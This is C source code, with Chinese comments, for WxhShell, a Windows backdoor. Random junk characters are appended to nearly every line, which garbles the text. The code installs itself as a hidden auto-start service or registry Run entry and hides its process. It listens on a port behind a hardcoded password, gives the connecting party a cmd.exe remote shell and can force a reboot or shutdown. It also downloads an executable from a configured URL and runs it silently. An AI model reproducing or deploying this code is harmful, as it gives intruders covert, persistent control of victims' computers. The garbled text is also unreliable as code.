    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~6O<5@k  
    if(Boot(SHUTDOWN)) ,[|4{qli\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TaE&8;H#N  
    else { ~t.M!vk  
    closesocket(wsh);  ylBjuD+  
    ExitThread(0); D+69U[P_A  
    } 8^av&u$  
    break; &/tGT3)  
    } 6 xAR:  
  // 获取shell A]q"+Z]  
  case 's': { "`aLSw75x  
    CmdShell(wsh); R[{s\  
    closesocket(wsh); <t)D`nY\  
    ExitThread(0); \1cJ?/$_Of  
    break; {G(N vf,K]  
  } LFT)_DG7(  
  // 退出 ;PF!=8dW  
  case 'x': { KI~M.2pk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n0< I  
    CloseIt(wsh); |% xgob  
    break; ,]qTJ`J  
    } Gs)2HR@>  
  // 离开 `]3A#y)v  
  case 'q': { mQy!*0y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y> f 6  
    closesocket(wsh); C6cEt5  
    WSACleanup(); BaUcmF2Q  
    exit(1); B|(M xR6m  
    break; cR"?EQ] `N  
        } wSd o 7Lb  
  } QocR)aN=+  
  } Qg' {RAV8  
2fv`O  
  // 提示信息 0N(o)WRv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kzz]ZO*3  
} !e0~|8  
  } ibIo1i//[  
(!^; ar^  
  return; J'no{3Kt z  
} d-sK{ZC"y  
T`gR&n<D  
// shell模块句柄 XlHt(d0h  
int CmdShell(SOCKET sock) 1T@#gE["Ic  
{ o2#_CdU   
STARTUPINFO si; ilpP"B  
ZeroMemory(&si,sizeof(si)); ^ ;XJG9a0\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?7"6d p_K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7"0l>0 \  
PROCESS_INFORMATION ProcessInfo; k x26nDT(  
char cmdline[]="cmd"; Y}Gf%Xi,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YdNmnB %J  
  return 0; |Xv]s61  
} $m)[> C  
TDo!yQ  
// 自身启动模式 oUG!=.1}K5  
int StartFromService(void) K:\db'``  
{ (np60mX<  
typedef struct 9j~|m  
{ eQQ*ZNG  
  DWORD ExitStatus; }4A $j{\  
  DWORD PebBaseAddress; pwG"_|h  
  DWORD AffinityMask; vRn"0Mzl8  
  DWORD BasePriority; ^B`*4  
  ULONG UniqueProcessId; FyV)Nmc%t  
  ULONG InheritedFromUniqueProcessId; WfF~\DlrD  
}   PROCESS_BASIC_INFORMATION; pNIu;1M5a  
N);2 2-  
PROCNTQSIP NtQueryInformationProcess; N|53|H  
xvx+a0 A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; / >q?H)6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1so9w89  
;+-Dg3  
  HANDLE             hProcess; sF+Bu'9A  
  PROCESS_BASIC_INFORMATION pbi; b6y/o48  
y2:~_MD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "{F e  
  if(NULL == hInst ) return 0; Oj~4uT&"  
MhXJ /bup  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >azTAX6L3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Z:T.Gc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9yt)9f  
PBo;lg`  
  if (!NtQueryInformationProcess) return 0; XFv)]_G  
RAps`)OR?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0l&#%wmJ,  
  if(!hProcess) return 0; ZIo%(IT!c  
c&AJFED]<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?1kXV n$  
xYUC|c1Q9  
  CloseHandle(hProcess); XzF-g*e  
k9Xv@v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F&= X/  
if(hProcess==NULL) return 0;  wq@{85  
_)U[c;^6  
HMODULE hMod; U&}v1wdZ3  
char procName[255]; VQ,;~^Td  
unsigned long cbNeeded; 8n1<nS<  
NplWF\5y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .lt|$["  
@W+m;4HH  
  CloseHandle(hProcess); u{+z?N  
wYLi4jYm  
if(strstr(procName,"services")) return 1; // 以服务启动 Ga M:/.  
.Fe_Z)i>h  
  return 0; // 注册表启动 f0 d*%  
} Y"dUxv1Ap  
X}@'FxIF  
// 主模块 4u.Fy<+@4M  
int StartWxhshell(LPSTR lpCmdLine) c>}f y  
{ (0W)Jd[  
  SOCKET wsl; 6*u WRjt  
BOOL val=TRUE; oZCjci-  
  int port=0; xP61^*-2  
  struct sockaddr_in door; $ 9%UAqk9  
@cC@(M~Ru  
  if(wscfg.ws_autoins) Install(); 9H6%\#rw  
fDU_eyt/Z'  
port=atoi(lpCmdLine); A`nw(f_/  
de<T5/  
if(port<=0) port=wscfg.ws_port; ]b6gZ<  
}S_#*N)i  
  WSADATA data; zY^QZceq"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X]T&kdQ6q  
s`63 y&Z[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |h6u%t2AY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {)L*\r  
  door.sin_family = AF_INET; 8v V<A*`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *@(j'0hj  
  door.sin_port = htons(port); @?!&M c2  
}3DZ`8u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { abgA Ug)  
closesocket(wsl); X<*-d6?gD`  
return 1; L63B# H "  
} M?QK4Zxb6U  
|q+dTy_n  
  if(listen(wsl,2) == INVALID_SOCKET) { |[B JZ  
closesocket(wsl); 8uD%  
return 1; f(Uo?_as  
} ];63QJU  
  Wxhshell(wsl); 'n dXM   
  WSACleanup(); Fd(o8z8Q  
%~$coZY^  
return 0; kx.8VUoM V  
YM<F7tp4  
} J7Y lmi  
 Bl1^\[#  
// 以NT服务方式启动 4u}jkd$]*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o_@6R"|  
{ W#sCvI@   
DWORD   status = 0; *Q XUy  
  DWORD   specificError = 0xfffffff; C=zc6C,  
XRx^4]c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yj'/ p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hvo7T@*'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u`~,`z^{n  
  serviceStatus.dwWin32ExitCode     = 0; mi& mQQ  
  serviceStatus.dwServiceSpecificExitCode = 0; f~ -qjEWm  
  serviceStatus.dwCheckPoint       = 0; .;,` bH0  
  serviceStatus.dwWaitHint       = 0; g* DBW,  
N`xXH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 746['sf4c  
  if (hServiceStatusHandle==0) return; 1h,m  
t*dd/a  
status = GetLastError(); d: {#Dk#  
  if (status!=NO_ERROR) [+.P'6/[$R  
{ }h=}!R'm   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >Nr~7s  
    serviceStatus.dwCheckPoint       = 0; 9JBVG~m+  
    serviceStatus.dwWaitHint       = 0; 25wvB@0&  
    serviceStatus.dwWin32ExitCode     = status; -?Kd[Ma  
    serviceStatus.dwServiceSpecificExitCode = specificError; K^f&+`v6_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]rM HO  
    return; S>nf]J`  
  } B +<i=w  
$dkkgsw 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^w6~?'}  
  serviceStatus.dwCheckPoint       = 0; GEbm$\  
  serviceStatus.dwWaitHint       = 0; m&{%6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A=bBI>GEYP  
} Qt(4N!j  
=Eb4Iyz  
// 处理NT服务事件,比如:启动、停止 & T&>4I!'M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g), t  
{ PGNH<E)  
switch(fdwControl) |:)ARH6l#  
{ {T'M4y=)i  
case SERVICE_CONTROL_STOP: 8;GuJP\  
  serviceStatus.dwWin32ExitCode = 0; MG(qQ#;j/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?f&O4H  
  serviceStatus.dwCheckPoint   = 0; W~Ae&gcn#  
  serviceStatus.dwWaitHint     = 0; v FWg0 $,  
  { ]!'9Y}9a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7j~}M(s"  
  } &{z RuF  
  return; (>M? iB  
case SERVICE_CONTROL_PAUSE: Gq0Q}[53  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I|/\L|vo  
  break; j&w4yY  
case SERVICE_CONTROL_CONTINUE: o|bm=&f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kDWMget$  
  break; /j$`Cq3I  
case SERVICE_CONTROL_INTERROGATE: 'd |*n#Dqc  
  break; SEXmVFsQ  
}; [iGL~RiXtn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >))K%\p   
} 6#up BF:  
_]6n]koD,  
// 标准应用程序主函数 AoFxho  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {No Y`j5S  
{ >`o;hTS  
#2*6esP  
// 获取操作系统版本 klxNGxWAX  
OsIsNt=GetOsVer(); MR}h}JEx0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %Gc)$z/Wd  
Xn # v!  
  // 从命令行安装 Z>(K|3_  
  if(strpbrk(lpCmdLine,"iI")) Install(); j7sRmQCl  
UtYwG#/w  
  // 下载执行文件 U C..)9  
if(wscfg.ws_downexe) { 7 DW_G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y wu > k  
  WinExec(wscfg.ws_filenam,SW_HIDE); ck\TTNA  
} `g^bQ x  
-APbN(Vi  
if(!OsIsNt) { (K`@OwD  
// 如果时win9x,隐藏进程并且设置为注册表启动 K(75)/  
HideProc(); |$G|M=*LN  
StartWxhshell(lpCmdLine); =l+~}/7'Z  
} 'v0(ki#  
else 7 (pl HW|  
  if(StartFromService()) GFfZ TA  
  // 以服务方式启动 3fd?xhWbN  
  StartServiceCtrlDispatcher(DispatchTable); 7;3;8Q FX  
else $9rQ w1#e  
  // 普通方式启动 D]NJ ^.X  
  StartWxhshell(lpCmdLine); k4+Q$3"  
Ux+UcBKm-  
return 0; .~7:o.BE`n  
} Rg\D-F6:  
:7[4wQDt4  
r O-=):2  
O%*:fd,o-  
=========================================== -W.bOr  
Wo+^R%K' 4  
Y^-D'2P]P  
"/0Vvy_|  
L7PM am  
W_RN@O  
" ,lb >  
NT;cTa=;  
#include <stdio.h> rt C:3fDy  
#include <string.h> O*udVE>  
#include <windows.h> 6~tj"34_  
#include <winsock2.h> BXa.XZ<n(  
#include <winsvc.h> v%E~sX&CG  
#include <urlmon.h> ykD-L^}  
o@uZU4MM  
#pragma comment (lib, "Ws2_32.lib") Qv;q*4_  
#pragma comment (lib, "urlmon.lib") /0(c-Dv  
MoC@n+Q+@  
#define MAX_USER   100 // 最大客户端连接数 \W+Hzf] W#  
#define BUF_SOCK   200 // sock buffer :@#6]W  
#define KEY_BUFF   255 // 输入 buffer OCv,EZ  
/amWf^z  
#define REBOOT     0   // 重启 V#TNv0&0  
#define SHUTDOWN   1   // 关机 DSL3+%KF#  
q$7/X;A  
#define DEF_PORT   5000 // 监听端口 pIl[)%F  
]6@6g>f?  
#define REG_LEN     16   // 注册表键长度 a Juv{  
#define SVC_LEN     80   // NT服务名长度 3"LT''  
(7w95xI  
// 从dll定义API K:54`UJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v(~EO(n.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rp,Us#>6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NuR3]Ja\0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tOxTiaa=  
04#<qd&ob@  
// wxhshell配置信息 Tl L\&n.$  
struct WSCFG { j|%>NB ):  
  int ws_port;         // 监听端口 3,)[Q?nKD  
  char ws_passstr[REG_LEN]; // 口令 lQ!(l Ph  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~ugH2jiB  
  char ws_regname[REG_LEN]; // 注册表键名 Y lhKP;  
  char ws_svcname[REG_LEN]; // 服务名 bA\(oD+:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xwa@h}\#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W<T Ui51Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (kL(:P/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rAh|r}R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,*Wp$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %hi]oz  
tu6<>  
}; <6.?:Jj  
hr`,s!0Y  
// default Wxhshell configuration b]g#mQ  
struct WSCFG wscfg={DEF_PORT, ccwz:7r  
    "xuhuanlingzhe", g4&f2D5  
    1, 6 jU ?~  
    "Wxhshell", 8f>v[SQ"  
    "Wxhshell", iM M s3  
            "WxhShell Service", ?\_vqW  
    "Wrsky Windows CmdShell Service", lY[\eQ 1:  
    "Please Input Your Password: ", Qb8Z+7  
  1, o]@'R<F(u  
  "http://www.wrsky.com/wxhshell.exe", ?G 'sb}.  
  "Wxhshell.exe" K&BaGrR  
    }; R{UZCFZ  
5V8`-yO9  
// 消息定义模块 cp2a @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *0x!C8*`Xe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =55V<VI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J+l#!gk$!  
char *msg_ws_ext="\n\rExit."; &Xh=bM'/%m  
char *msg_ws_end="\n\rQuit."; uTNy{RBD+  
char *msg_ws_boot="\n\rReboot..."; aj]pN,g@N  
char *msg_ws_poff="\n\rShutdown..."; KN'twPFq  
char *msg_ws_down="\n\rSave to "; \ 0.!al0  
't+'rG6x  
char *msg_ws_err="\n\rErr!"; =Y*zF>#lP  
char *msg_ws_ok="\n\rOK!"; 5h6-aQU[  
T[kS;-x  
char ExeFile[MAX_PATH]; &"DD&87N%  
int nUser = 0; {Zo*FZcaX  
HANDLE handles[MAX_USER]; g=jB'h?  
int OsIsNt; '#lc?Y(pJ2  
pER[^LH_)  
SERVICE_STATUS       serviceStatus; MUUhg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?N]G;%3/  
m O"Rq5  
// 函数声明 =yZ6$ hK  
int Install(void); y=zs6HaS  
int Uninstall(void); "qoJIwl#q  
int DownloadFile(char *sURL, SOCKET wsh); <`Qb b=*  
int Boot(int flag); aB{OXU}#  
void HideProc(void); UaBNoD  
int GetOsVer(void); 8i Ew;I_  
int Wxhshell(SOCKET wsl); n^` `)"  
void TalkWithClient(void *cs); #rQT)n  
int CmdShell(SOCKET sock); \jr-^n]  
int StartFromService(void); #g~]2x  
int StartWxhshell(LPSTR lpCmdLine); zz #IY'dwT  
&?# YjU"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #>2cfZ`6'J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JPpNCC.b  
\`W8#fob  
// 数据结构和表定义 j43i:c;F  
SERVICE_TABLE_ENTRY DispatchTable[] = rh T!8dTk  
{ Iv/h1j> H  
{wscfg.ws_svcname, NTServiceMain}, 83F]d+n  
{NULL, NULL} u. 2^t :A  
}; h<i.Z7F;tj  
p+V::O&&r  
// 自我安装 \O)u' Bu  
int Install(void) 2{S*$K[M  
{ .}Hs'co  
  char svExeFile[MAX_PATH]; \zzPsnFIg  
  HKEY key; c 6/lfgN  
  strcpy(svExeFile,ExeFile); ^_/gM[H.  
xP &@|Ag  
// 如果是win9x系统,修改注册表设为自启动 j.:f =`xf  
if(!OsIsNt) { -Fc 9mv(H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kfq<M7y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o3HS|  
  RegCloseKey(key); %>t4ib_8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JqtOoR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); orhze Oi\  
  RegCloseKey(key); 0oo_m6ie&  
  return 0; =Ds&ArG  
    } ~zDFL15w  
  } JC9OL.Ob  
} `[~LMV&2U  
else { sI@kS ^  
+'a G{/J  
// 如果是NT以上系统,安装为系统服务 mV}eMw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L08" 8\  
if (schSCManager!=0) n6{nx[%7N7  
{ BR tT 7  
  SC_HANDLE schService = CreateService xLw[ aYy4  
  ( eNrwkV^  
  schSCManager, rLcXo %w  
  wscfg.ws_svcname, ZWx4/G  
  wscfg.ws_svcdisp, @}{Fw;,(7n  
  SERVICE_ALL_ACCESS, ._<gc;G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9mEhZ"  
  SERVICE_AUTO_START, %3T:W\h  
  SERVICE_ERROR_NORMAL, GuQ#  
  svExeFile, i|fkwV,5  
  NULL, >HRLL\u9  
  NULL, ;V^I>-fnm  
  NULL, C3b<Wa])  
  NULL, 9HAK  
  NULL EHm:&w  
  ); 2>im'x 5  
  if (schService!=0) MJ.Kor  
  { Yy_mX}\x  
  CloseServiceHandle(schService); :s|xa u=  
  CloseServiceHandle(schSCManager); 6+Y@dJnPT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EI@ep~  
  strcat(svExeFile,wscfg.ws_svcname); bj FND]p?w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $B`bsJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )T@+"Pw8t  
  RegCloseKey(key); \p\rPf Y{>  
  return 0; dq3"L!0u  
    } aW b5w  
  } /_r{7Gq.  
  CloseServiceHandle(schSCManager); a2H_8iQ!  
} Q]-r'pYr  
} =GLMdhD]  
s_76)7  
return 1; /P*ph0S-  
} |sDp>..  
D$SO 6X~  
// 自我卸载 o Hrx$>W]  
int Uninstall(void) 4<U6jB5  
{ @fd{5 >\  
  HKEY key; F=yE>[! LB  
~PCS_  
if(!OsIsNt) { T7Yg^ -"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E5$uvxCI  
  RegDeleteValue(key,wscfg.ws_regname); ;MjOs&1f0K  
  RegCloseKey(key); fwaM;YN_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,tuZ_"?M  
  RegDeleteValue(key,wscfg.ws_regname); ;T WYO  
  RegCloseKey(key); 1JN/oq;  
  return 0; k)JwCt.%  
  } UbSD?Ew@35  
} IO?6F@(  
} iD2>-yf  
else { hj[sxC>z5  
Xj21:IMR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 66cPoG  
if (schSCManager!=0) }fz;La:b  
{ *1_A$14 l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j,#R?Ig  
  if (schService!=0) dH0wVI<z  
  { RTTEAh:.  
  if(DeleteService(schService)!=0) { 'w}/ o+x@  
  CloseServiceHandle(schService); znd fIt^  
  CloseServiceHandle(schSCManager); '8fL)Zk  
  return 0; D]d2opBLj  
  } )X-TJ+d  
  CloseServiceHandle(schService); mOx>p"n  
  } ~ *P9_<  
  CloseServiceHandle(schSCManager); U6oab9C?k  
} |C;*GeyS;J  
} +#ANc;2g  
; ,:w % .  
return 1; U+g<lgH1J  
} !,PoH  
a5%IjgQ&z  
// 从指定url下载文件 T8a!"lPP7  
int DownloadFile(char *sURL, SOCKET wsh) (1Ii86EP  
{ !6d`e"\K  
  HRESULT hr; uJ/ &!q<3  
char seps[]= "/"; Cg&cz]*q|  
char *token; -44''w?z  
char *file; !u|s| 6{\  
char myURL[MAX_PATH]; Sc&p*G  
char myFILE[MAX_PATH]; `<d{(9:+  
R8R,!3 N  
strcpy(myURL,sURL); <4P"1#nHQ+  
  token=strtok(myURL,seps); u\|Ys  
  while(token!=NULL) 0"$'1g^]7  
  { /<oBgFMoJ  
    file=token; G7H'OB &  
  token=strtok(NULL,seps); rfxLCiV  
  } )wz3 m L  
)F4P-u  
GetCurrentDirectory(MAX_PATH,myFILE); 6B>H75S+H  
strcat(myFILE, "\\"); /h73'"SpDy  
strcat(myFILE, file); Iw) 'Yyg  
  send(wsh,myFILE,strlen(myFILE),0); W=T,hOyh<W  
send(wsh,"...",3,0); f}F   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); viR-h iD  
  if(hr==S_OK) <3c|S_|L*m  
return 0; k/V:QdD Sb  
else 1\+d 5Q0  
return 1; S`GM#(t@_  
*Ldno`1O  
} yTL<S'  
NKb,>TO  
// 系统电源模块 Qz/1^xy  
int Boot(int flag) ' fP`ET5  
{ 0CRk&_ht  
  HANDLE hToken; ~b.e9FhdA  
  TOKEN_PRIVILEGES tkp; S4BU!  
N b@zn0A(;  
  if(OsIsNt) { %QrpFE5 V5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); au 5qbP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;p'Ej'E  
    tkp.PrivilegeCount = 1; %{M&"Mv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :0RfA%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U49 `!~b7  
if(flag==REBOOT) { +cnBEv~y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RP4P"m(   
  return 0; I<ta2<h  
} A VbGJ+  
else { ygquQhf5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h*\/{$y  
  return 0; eC41PQ3=1'  
} +=A53V[C  
  } EAM2t|M G.  
  else { YX:[],FP  
if(flag==REBOOT) { Kwa$5qZI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Lbi eS%  
  return 0; B7!dp`rPp  
} Z6xM(*vg  
else { APBe 76'3)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2k$~Mv@L  
  return 0; Qcf5* ]V  
} )j>BvO  
} 11 >K\"K}  
* >XmJ6w  
return 1; COf>H0^%Q  
} .IJgkP)!]  
ESAFsJ$r;  
// win9x进程隐藏模块 s5'So@L8  
void HideProc(void) e[a?5,s2  
{ :F`yAB3  
-<tfbaA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N^{+1u7  
  if ( hKernel != NULL ) 2{E"#}/  
  { z(&~O;;N#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I,xV&j+<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2E":6:Wsw  
    FreeLibrary(hKernel); m@){@i2.  
  } <ny)yK  
eDPmUlC+-  
return; Gv3AJ'NL  
} +kK6G#c  
A(Ss:7({  
// 获取操作系统版本 _7LZ\V+MLW  
int GetOsVer(void) !DUC#)F  
{ Hs~u&c  
  OSVERSIONINFO winfo; NXw$PM|+R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g$jZpU  
  GetVersionEx(&winfo); u:0M,Ye  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Mp-4)mn  
  return 1; $M=W`E[g  
  else {)8!>K%G  
  return 0; ]FLi^}ct  
} CUR70[pB)  
{b6$F[e   
// 客户端句柄模块 ^1^mu c[  
int Wxhshell(SOCKET wsl) T1Q c?5K^  
{ Tn7(A^h'  
  SOCKET wsh; UoiXIf_Q  
  struct sockaddr_in client; `Mxi2Y{vp  
  DWORD myID; 3M[b)At V.  
a!US:^}lu  
  while(nUser<MAX_USER) h^}r$k_n  
{ dwc$#cMf  
  int nSize=sizeof(client); ZCbnDj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y@Zv52,  
  if(wsh==INVALID_SOCKET) return 1; cKKl\g@}  
lp;= f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D!oELZ3  
if(handles[nUser]==0) +w]KK6  
  closesocket(wsh); 9 ZD4Gv   
else Lh(` 9(tX  
  nUser++; cj!Ew}o40D  
  } g}B|ZRz+{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Do&/+Ssnu  
PnKgUJoa0  
  return 0; _26<}&]b*  
} =R  <X!@  
/T_ G9zc  
// 关闭 socket `IQ76Xl  
void CloseIt(SOCKET wsh) :sY pZX1  
{ XJ`!d\WL/!  
closesocket(wsh); x(Us O}  
nUser--; 0Lo)Ni^"  
ExitThread(0); 5k^UZw  
} `]8z]PD  
9"H]zfW  
// 客户端请求句柄 ;m+*R/  
void TalkWithClient(void *cs) Oa'DVfw2J  
{ ,L"1Ah  
h!L/ZeRaV  
  SOCKET wsh=(SOCKET)cs; w<ol$2&B  
  char pwd[SVC_LEN]; / ao|v  
  char cmd[KEY_BUFF]; !Deg!f\g  
char chr[1]; }op0`-Xb  
int i,j; }? W[D  
8a^E{x@HT  
  while (nUser < MAX_USER) { 5Cp6$V|/kv  
$dp;$X3  
if(wscfg.ws_passstr) { .ZB(!v/2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9f ^c9@=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x dT1jI  
  //ZeroMemory(pwd,KEY_BUFF); >2[\WF*"X  
      i=0; ugwZAC  
  while(i<SVC_LEN) { U '#Xwax  
csPziH$wl  
  // 设置超时 nYcj6?  
  fd_set FdRead; z|o7k;raH  
  struct timeval TimeOut; fU )@Lj1Wo  
  FD_ZERO(&FdRead); #]iSh(|8  
  FD_SET(wsh,&FdRead); /7nircXj@  
  TimeOut.tv_sec=8; (Mk9##R#  
  TimeOut.tv_usec=0; ky`xBO =  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DaV:Slp9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W]]@pbG"H\  
NEpomE(>x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]}wo$7pO  
  pwd=chr[0]; _dgS@n;6  
  if(chr[0]==0xd || chr[0]==0xa) { 5ir[}I^z  
  pwd=0; P,|%7'?Y  
  break; ]>33sb S6  
  } JfJLJ(}  
  i++; I,*zZNv Ri  
    } atW=xn  
UkE  fuH  
  // 如果是非法用户,关闭 socket TJHab;7F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sUc_)  
} ,[ UqUEO  
eCDwY:t`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GI~JIXHTQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yZ_6yJw3}  
}, < dGmkx  
while(1) { @2Lp I*]C  
s\)0f_I  
  ZeroMemory(cmd,KEY_BUFF); zPonG d1  
^ucmScl  
      // 自动支持客户端 telnet标准   *kmD/J  
  j=0; \i*QKV<  
  while(j<KEY_BUFF) { H+ P&} 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x:7"/H|  
  cmd[j]=chr[0]; Y+,ii$Ce~  
  if(chr[0]==0xa || chr[0]==0xd) { cN#c25S>  
  cmd[j]=0; 59Lv/Mfy  
  break; B#>7;xy>  
  } qHZ!~Kq,"'  
  j++; ^ZxT0oaL  
    } w)# Lu/  
v0D~zV"<y  
  // 下载文件 LFzL{rny!U  
  if(strstr(cmd,"http://")) { -W/Lg5eK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b9 F:X  
